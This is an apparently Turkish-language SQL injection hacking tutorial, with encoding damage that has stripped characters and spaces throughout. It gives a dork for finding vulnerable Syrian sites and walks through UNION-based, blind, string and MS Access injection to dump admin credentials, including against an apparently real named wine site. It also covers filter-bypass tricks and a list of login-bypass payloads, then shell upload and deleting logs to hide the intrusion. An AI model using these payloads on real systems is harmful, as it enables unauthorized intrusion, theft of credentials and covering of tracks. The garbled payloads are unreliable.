Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
